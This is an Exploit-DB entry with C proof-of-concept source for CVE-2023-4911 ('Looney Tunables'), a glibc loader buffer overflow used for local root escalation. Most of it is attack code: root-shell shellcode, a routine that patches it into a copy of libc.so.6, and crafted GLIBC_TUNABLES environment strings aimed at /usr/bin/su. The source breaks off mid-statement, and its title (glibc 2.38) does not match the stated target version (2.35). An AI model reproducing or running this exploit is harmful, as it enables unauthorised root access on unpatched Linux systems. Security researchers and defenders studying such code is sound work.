Exploit-DB #52479
Description: glibc 2.38 - Buffer Overflow
Type: local
Platform: linux
Date: 2026-02-11
Author: Beatriz Fresno Naumova

Exploit:
# Exploit Title: glibc 2.38 - Buffer Overflow 
# Google Dork: N/A
# Date: 2025-10-08
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://www.gnu.org/software/libc/
# Software Link: https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz
# Version: glibc 2.35 (specifically 2.35-0ubuntu3.3 on Ubuntu 22.04.3 LTS)
# Tested on: Ubuntu 22.04.3 LTS (glibc 2.35-0ubuntu3.3)
# CVE : CVE-2023-4911

# Description:
Looney Tunables - glibc GLIBC_TUNABLES Environment Variable Buffer Overflow 
# This is a local privilege escalation exploit for CVE-2023-4911, also known as
# "Looney Tunables", caused by a buffer overflow in the glibc dynamic loader's
# environment variable parsing logic. The vulnerability is triggered by crafting
# a maliciously long GLIBC_TUNABLES string which corrupts internal loader state,
# allowing control over DT_RPATH and arbitrary shared object loading.
#
# This PoC creates a patched version of libc.so.6 with embedded shellcode and
# abuses the loader to execute arbitrary code as root by invoking /usr/bin/su
# with a malicious environment.
#




#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <elf.h>

#define FILL_SIZE 0xd00
#define BOF_SIZE 0x600
#define MAX_ENVP  0x1000

// shellcode generado con pwntools
const unsigned char shellcode[] = {
    0x48, 0x31, 0xff,                         // xor    rdi,rdi
    0x6a, 0x69,                               // push   0x69 ; syscall setuid
    0x58,                                     // pop    rax
    0x0f, 0x05,                               // syscall
    0x48, 0x31, 0xff,                         // xor    rdi,rdi
    0x6a, 0x6a,                               // push   0x6a ; syscall setgid
    0x58,                                     // pop    rax
    0x0f, 0x05,                               // syscall
    0x48, 0x31, 0xd2,                         // xor    rdx, rdx
    0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 
    0x2f, 0x73, 0x68, 0x00,                   // mov rbx, "/bin/sh"
    0x53,                                     // push rbx
    0x48, 0x89, 0xe7,                         // mov rdi, rsp
    0x50,                                     // push rax
    0x57,                                     // push rdi
    0x48, 0x89, 0xe6,                         // mov rsi, rsp
    0xb0, 0x3b,                               // mov al, 0x3b
    0x0f, 0x05                                // syscall
};

int64_t time_us() {
    struct timespec tms;
    if (clock_gettime(CLOCK_REALTIME, &tms)) return -1;
    int64_t micros = tms.tv_sec * 1000000;
    micros += tms.tv_nsec / 1000;
    if (tms.tv_nsec % 1000 >= 500) ++micros;
    return micros;
}

void patch_libc() {
    FILE *f = fopen("/lib/x86_64-linux-gnu/libc.so.6", "rb");
    if (!f) { perror("fopen"); exit(1); }

    fseek(f, 0, SEEK_END);
    long size = ftell(f);
    rewind(f);

    unsigned char *data = malloc(size);
    if (fread(data, 1, size, f) != size) {
        perror("fread");
        exit(1);
    }
    fclose(f);

    Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;
    Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff);
    Elf64_Sym *symtab = NULL;
    char *strtab = NULL;

    for (int i = 0; i < ehdr->e_shnum; ++i) {
        if (shdr[i].sh_type == SHT_SYMTAB) {
            symtab = (Elf64_Sym *)(data + shdr[i].sh_offset);
            strtab = (char *)(data + shdr[shdr[i].sh_link].sh_offset);
            break;
        }
    }

    if (!symtab || !strtab) {
        fprintf(stderr, "[-] Failed to find symtab\n");
        exit(1);
    }

    Elf64_Addr target_addr = 0;
    for (int i = 0; i < shdr->sh_size / sizeof(Elf64_Sym); ++i) {
        if (strcmp(&strtab[symtab[i].st_name], "__libc_start_main") == 0) {
            target_addr = symtab[i].st_value;
            break;
        }
    }

    if (!target_addr) {
        fprintf(stderr, "[-] Could not find __libc_start_main\n");
        exit(1);
    }

    // patch shellcode at the symbol location
    memcpy(data + target_addr, shellcode, sizeof(shellcode));

    f = fopen("./libc.so.6", "wb");
    if (!f) { perror("fopen (write)"); exit(1); }
    fwrite(data, 1, size, f);
    fclose(f);

    free(data);
    printf("[+] Patched libc.so.6 written.\n");
}

int main(void) {
    char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000];
    char *argv[] = {"/usr/bin/su", "--help", NULL};
    char *envp[MAX_ENVP] = { NULL };

    // Create directory and patched libc if not present
    if (mkdir("\"", 0755) == 0) {
        patch_libc();
        int sfd = open("./libc.so.6", O_RDONLY);
        int dfd = open("\"/libc.so.6", O_CREAT | O_WRONLY, 0755);
        char buf[0x1000];
        int len;
        while ((len = read(sfd, buf, sizeof(buf))) > 0) {
            write(dfd, buf, len);
        }
        close(sfd); close(dfd);
    }

    memset(filler, 'F', sizeof(filler)); filler[sizeof(filler)-1] = '\0';
    strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast=");

    memset(kv, 'A', sizeof(kv)); kv[sizeof(kv)-1] = '\0';
    strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");

    memset(filler2, 'F', sizeof(filler2)); filler2[sizeof(filler2)-1] = '\0';
    strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");

    for (int i = 0; i < MAX_ENVP; i++) envp[i] = "";
    envp[0] = filler;
    envp[1] = kv;
    envp[0x65] = "";
    envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f";
    envp[0xf7f] = filler2;

    for (int i = 0; i < sizeof(dt_rpath); i += 8) {
        *(uintptr_t *)(dt_rpath + i) = -0x14ULL;
    }
    dt_rpath[sizeof(dt_rpath) - 1] = '\0';
    for (int i = 0; i < 0x2f; i++) {
        envp[0xf80